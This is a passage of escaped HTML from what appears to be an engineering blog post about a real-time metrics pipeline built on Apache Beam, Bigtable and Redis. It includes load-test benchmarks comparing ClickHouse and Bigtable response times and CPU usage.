690w, /static/ce873f0de7737f9f00831f94a6df7f51/e3189/figure1-bt-agg-high-level-diagram.png 1035w, /static/ce873f0de7737f9f00831f94a6df7f51/b1001/figure1-bt-agg-high-level-diagram.png 1380w, /static/ce873f0de7737f9f00831f94a6df7f51/0f586/figure1-bt-agg-high-level-diagram.png 1498w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;As per the architecture diagram (Figure 1), We have a streaming write service using Apache beam framework to compute these metrics from the incoming traffic data in real-time. We store the computed day-wise metrics in Bigtable. Then the read service powers the VWO dashboard using these computed numbers.&lt;/p&gt; &lt;h2 id=&quot;in-what-ways-is-redis-integrated&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#in-what-ways-is-redis-integrated&quot; aria-label=&quot;in what ways is redis integrated permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;In what ways is Redis integrated?&lt;/h2&gt; &lt;p&gt;We have utilized Redis, an open-source in-memory data structure store, to serve as a side input for our ETL pipeline. This allows us to provide the pipeline with all the necessary meta-information to compute metrics as defined by the client. As the data is frequently used in the streaming pipeline, Redis is the ideal choice due to its low latency and ability to function as an in-memory store&lt;/p&gt; &lt;h2 id=&quot;performance-numbers-and-benchmarks&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-numbers-and-benchmarks&quot; aria-label=&quot;performance numbers and benchmarks permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Numbers and Benchmarks:&lt;/h2&gt; &lt;h3 id=&quot;when-metrics-are-powered-through-clickhouse&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#when-metrics-are-powered-through-clickhouse&quot; aria-label=&quot;when metrics are powered through clickhouse permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;When Metrics are Powered through ClickHouse:&lt;/h3&gt; &lt;p&gt;As stated in the article, ClickHouse is known to be a highly CPU-intensive database when computing raw data, resulting in slower query performance. This was also confirmed through our benchmarking tests, where we found that when hitting 10 REST APIs concurrently using Clickhouse, the average response time was 930 ms, and 90% of the requests took over 1.16 seconds. Below(Figure 2) is the BlazeMeter report stating the same.&lt;/p&gt; &lt;h4 id=&quot;figure-2-stats-of-load-test-1-when-metrics-are-powered-through-clickhouse&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-2-stats-of-load-test-1-when-metrics-are-powered-through-clickhouse&quot; aria-label=&quot;figure 2 stats of load test 1 when metrics are powered through clickhouse permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 2: Stats of Load Test-1 (When metrics are powered through ClickHouse)&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9a36cccea702323e0b7326dce8e429aa/196e0/figure2-perf-nums-through-ch.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 56.64739884393063%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABuUlEQVQoz5VS224TMRTc//8KHgCFopBCRUsQfAovNE3bZLM3e323hzneVAogIWFp1j5zjudcvM3NzRfcbr/jzWr9G1ZXG2w+fsYHYvPpFuvrO3zdXqP9scK37Xu8er3G23frv+41+M8Vy7/9zbHTGJVBCBGDVng6tdDGwUwKQ6+gZgc9M6bfY5w0vLeY9QlaazgfMA0GfTfBOg9jPRo1++qQ5YKngEbKGclapLDwpSR4O9WkkLOjmHPkC5wJsGY5p5TReF4Sp8B7XwVCjMxGwZLRUahctFkujD/5s2BEjAsCxbNUR0fJBZmCkRVJsPCyi0jmx7OrmNKZWxBFMEa2EBKsz2w5QbOykW0bXrA+cRxLgsTLMifrAgz3gfNUs6m2QBLUCiVzPyXcP1vcHzQejpbw2B1MtXe0Qyy1qsejwcPzjP1BYM6YsSM3Kl+rrILd5PBTAo8B+zYuOEYKBwoaeHaROYLHduHE9xIj2B0CRr2030grSln0QyA82s6ibWd0PPfjwsnrSoX9RFslFhDRDg4n+gYVyUf+arHOuc7wZahCyMNEvrYkQuVz5fM5hmSdVWScxF4+ivC/AG8xSfiXhlJUAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure2 perf nums through ch&quot; title=&quot;figure2 perf nums through ch&quot; src=&quot;/static/9a36cccea702323e0b7326dce8e429aa/1e043/figure2-perf-nums-through-ch.png&quot; srcset=&quot;/static/9a36cccea702323e0b7326dce8e429aa/991de/figure2-perf-nums-through-ch.png 173w, /static/9a36cccea702323e0b7326dce8e429aa/e4d6b/figure2-perf-nums-through-ch.png 345w, /static/9a36cccea702323e0b7326dce8e429aa/1e043/figure2-perf-nums-through-ch.png 690w, /static/9a36cccea702323e0b7326dce8e429aa/e3189/figure2-perf-nums-through-ch.png 1035w, /static/9a36cccea702323e0b7326dce8e429aa/b1001/figure2-perf-nums-through-ch.png 1380w, /static/9a36cccea702323e0b7326dce8e429aa/196e0/figure2-perf-nums-through-ch.png 2626w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h3 id=&quot;clickhouses-cpu-stats-while-benchmark-test&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#clickhouses-cpu-stats-while-benchmark-test&quot; aria-label=&quot;clickhouses cpu stats while benchmark test permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Clickhouse’s CPU stats while benchmark test:&lt;/h3&gt; &lt;p&gt;The statistics below(Figure 3) demonstrate that the CPU usage of the ClickHouse cluster, which consisted of 3 VMs with configurations of 32 cores and 32GB each, was around 50% during the benchmark test, supporting our hypothesis.&lt;/p&gt; &lt;h4 id=&quot;figure-3-cpu-utilization-of-clickhouses-cluster-during-the-load-test&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-3-cpu-utilization-of-clickhouses-cluster-during-the-load-test&quot; aria-label=&quot;figure 3 cpu utilization of clickhouses cluster during the load test permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 3: CPU utilization of ClickHouse&apos;s cluster during the load test&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1baf6aab798f94238aa77c89ebc97364/302a4/figure3-ch-cluster-cpu-usages.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 36.99421965317919%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAzklEQVQoz41Ri4rEIBDr/39oC1vXt1W3jjlnet3CcnQvEEbDGEKcMBBCgFIKy7LAGIN5nkVj9N6/kpFzBhFhOoW/cD24N2SjmNJlKOIvz4VjdrTBXOmr6YkJN9CRkArBbYT/gI0loXYJT5vgU4UyEc9x127DvHoYn7FqDy0zwIaC1QTRlY3y9mELSt2PhGzofBTubaQJET4kbLmMj4motcI5h1xeMNaPWWFdQNoyfBwheGcnqUkMW2ucVToSkc/SC737PPr7nP3apcOQvX4AItgmWsvcp/QAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure3 ch cluster cpu usages&quot; title=&quot;figure3 ch cluster cpu usages&quot; src=&quot;/static/1baf6aab798f94238aa77c89ebc97364/1e043/figure3-ch-cluster-cpu-usages.png&quot; srcset=&quot;/static/1baf6aab798f94238aa77c89ebc97364/991de/figure3-ch-cluster-cpu-usages.png 173w, /static/1baf6aab798f94238aa77c89ebc97364/e4d6b/figure3-ch-cluster-cpu-usages.png 345w, /static/1baf6aab798f94238aa77c89ebc97364/1e043/figure3-ch-cluster-cpu-usages.png 690w, /static/1baf6aab798f94238aa77c89ebc97364/e3189/figure3-ch-cluster-cpu-usages.png 1035w, /static/1baf6aab798f94238aa77c89ebc97364/302a4/figure3-ch-cluster-cpu-usages.png 1080w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h3 id=&quot;when-powered-through-bigtable&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#when-powered-through-bigtable&quot; aria-label=&quot;when powered through bigtable permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;When Powered through BigTable:&lt;/h3&gt; &lt;p&gt;During the benchmark tests(Figure 4), we employed a single-node BigTable cluster with 5 GB SSD. In the initial test, which ran for 7 minutes from 5:45:10 PM to 5:53:31 PM (time included to facilitate the Bigtable statistics provided below), we hit 20 REST APIs concurrently powered by Bigtable. The average response time was 31 ms, with 90% of the requests taking 49 ms. During this test, Bigtable&apos;s CPU usage was approximately 5%(Figure 6), with 14,000 rows read per second and 160 requests per second (Figure 7 and Figure 8).&lt;/p&gt; &lt;h4 id=&quot;figure-4-stats-of-load-test-2-when-metrics-are-powered-through-bigtable&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-4-stats-of-load-test-2-when-metrics-are-powered-through-bigtable&quot; aria-label=&quot;figure 4 stats of load test 2 when metrics are powered through bigtable permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 4: Stats of Load Test-2 (When metrics are powered through BigTable)&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/91ddf97ca3393b0fa8417c4c390310a8/2e92a/figure4-perf-nums-through-bt.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAwklEQVQY03VQUa7DMAjr/Q/b15CkgQDxIOum/TwkK0CMsThkKtQcFnDHfnVjgcUgcwYMc2auu2++Ho7v3J63UMPRbtmNzoyzEgYLNAbr1VCaoPUBKidKuSJnCHfcd91LEo04at7iV6k4+hBkjCk46QpXgmVBJsInpsSiu2EtwLWjt4KphhWuarlDcGwepcMxBjjcMb+FV0zV9h7+GwS2+RXOv+z/1r9BNQRV4y6xLZ1ZOEuSxzFzu7rBlz9C/yP5H8EXEn+IxMfm3g8AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure4 perf nums through bt&quot; title=&quot;figure4 perf nums through bt&quot; src=&quot;/static/91ddf97ca3393b0fa8417c4c390310a8/1e043/figure4-perf-nums-through-bt.png&quot; srcset=&quot;/static/91ddf97ca3393b0fa8417c4c390310a8/991de/figure4-perf-nums-through-bt.png 173w, /static/91ddf97ca3393b0fa8417c4c390310a8/e4d6b/figure4-perf-nums-through-bt.png 345w, /static/91ddf97ca3393b0fa8417c4c390310a8/1e043/figure4-perf-nums-through-bt.png 690w, /static/91ddf97ca3393b0fa8417c4c390310a8/e3189/figure4-perf-nums-through-bt.png 1035w, /static/91ddf97ca3393b0fa8417c4c390310a8/b1001/figure4-perf-nums-through-bt.png 1380w, /static/91ddf97ca3393b0fa8417c4c390310a8/2e92a/figure4-perf-nums-through-bt.png 2508w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;p&gt;In another benchmark test(Figure 5) that ran for 7 minutes from 5:37:20 PM to 5:44:33 PM (time included to facilitate the Bigtable statistics provided below), we hit 40 REST APIs concurrently powered by Bigtable. The average response time was 30ms, with 90% of the requests taking 45ms. During this test, Bigtable&apos;s CPU usage was approximately 7%(Figure 6), with 28,000 rows read per second and 320 requests per second (Figure 7 and Figure 8).&lt;/p&gt; &lt;h4 id=&quot;figure-5-stats-of-load-test-3-when-metrics-are-powered-through-bigtable&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-5-stats-of-load-test-3-when-metrics-are-powered-through-bigtable&quot; aria-label=&quot;figure 5 stats of load test 3 when metrics are powered through bigtable permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 5: Stats of Load Test-3 (When metrics are powered through BigTable)&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4cee5ebec9f7de18cefa1f9de9f03048/f1d9a/figure5-perf-nums-through-bt.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsSAAALEgHS3X78AAAAyklEQVQY021Q7W7EIAzr+7/qtN0KbcgXeA7VSfdjkSIINsb4cA9kTsy5sBaQXHNO+ASGBlQNalzN2UbuIhcI3onMza2OyK1z3MM2eI2Br/MXQoGgQH81dHGIDPT2jdY7ZDhMb8jdYJ67+zlwi8IpWAYO48tV6oZXO0kKTIJGgacW3BrGENA8McFNwXK0eHA1IaabWQ8cqkpl3V/b1/nvfl17/zPoJAPvKqxi+Zw/hkcwImj3yWoyiyJVJpWpz6Sr52xusfXv/j2X4B9qQolDWzGcrwAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure5 perf nums through bt&quot; title=&quot;figure5 perf nums through bt&quot; src=&quot;/static/4cee5ebec9f7de18cefa1f9de9f03048/1e043/figure5-perf-nums-through-bt.png&quot; srcset=&quot;/static/4cee5ebec9f7de18cefa1f9de9f03048/991de/figure5-perf-nums-through-bt.png 173w, /static/4cee5ebec9f7de18cefa1f9de9f03048/e4d6b/figure5-perf-nums-through-bt.png 345w, /static/4cee5ebec9f7de18cefa1f9de9f03048/1e043/figure5-perf-nums-through-bt.png 690w, /static/4cee5ebec9f7de18cefa1f9de9f03048/e3189/figure5-perf-nums-through-bt.png 1035w, /static/4cee5ebec9f7de18cefa1f9de9f03048/b1001/figure5-perf-nums-through-bt.png 1380w, /static/4cee5ebec9f7de18cefa1f9de9f03048/f1d9a/figure5-perf-nums-through-bt.png 2710w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h3 id=&quot;bigtables-monitoring-stats-while-benchmark-test&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#bigtables-monitoring-stats-while-benchmark-test&quot; aria-label=&quot;bigtables monitoring stats while benchmark test permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;BigTable’s monitoring stats while benchmark test:&lt;/h3&gt; &lt;h4 id=&quot;figure-6-cpu-utilization-of-bigtables-node-during-the-load-tests&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-6-cpu-utilization-of-bigtables-node-during-the-load-tests&quot; aria-label=&quot;figure 6 cpu utilization of bigtables node during the load tests permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 6: CPU utilization of BigTable&apos;s node during the load tests&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e8a1c8c3f5b1eed102cf32e0fde1b117/bc43a/figure6-bt-cpu-monitoring-stats.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 24.277456647398846%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAoklEQVQY051PSQ7CMAzs/z8HL+gBhMSlospKYjuDnVAEFVyw5CXjyDMzLfOM4D1aa39nLQX3ENFEMKXDEU0B2JK5pzz7e/7CoEdSjFhOF1hMVpgFRKQ76YwWo+Jj3mPbO+cMF/M4mEJCULlebRdVSsRqgUBVSeqYmWSHcceKYsINzmWcr2EcXG/r65gpZLVhaq0zcScYGH/Bxr+iJD6SuhM8AHTpiYqiJs/PAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure6 bt cpu monitoring stats&quot; title=&quot;figure6 bt cpu monitoring stats&quot; src=&quot;/static/e8a1c8c3f5b1eed102cf32e0fde1b117/1e043/figure6-bt-cpu-monitoring-stats.png&quot; srcset=&quot;/static/e8a1c8c3f5b1eed102cf32e0fde1b117/991de/figure6-bt-cpu-monitoring-stats.png 173w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/e4d6b/figure6-bt-cpu-monitoring-stats.png 345w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/1e043/figure6-bt-cpu-monitoring-stats.png 690w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/e3189/figure6-bt-cpu-monitoring-stats.png 1035w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/b1001/figure6-bt-cpu-monitoring-stats.png 1380w, /static/e8a1c8c3f5b1eed102cf32e0fde1b117/bc43a/figure6-bt-cpu-monitoring-stats.png 2676w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h4 id=&quot;figure-7-read-requests-of-the-bigtables-node-during-the-load-tests&quot; style=&quot;position:relative;&quot;&gt;&lt;a 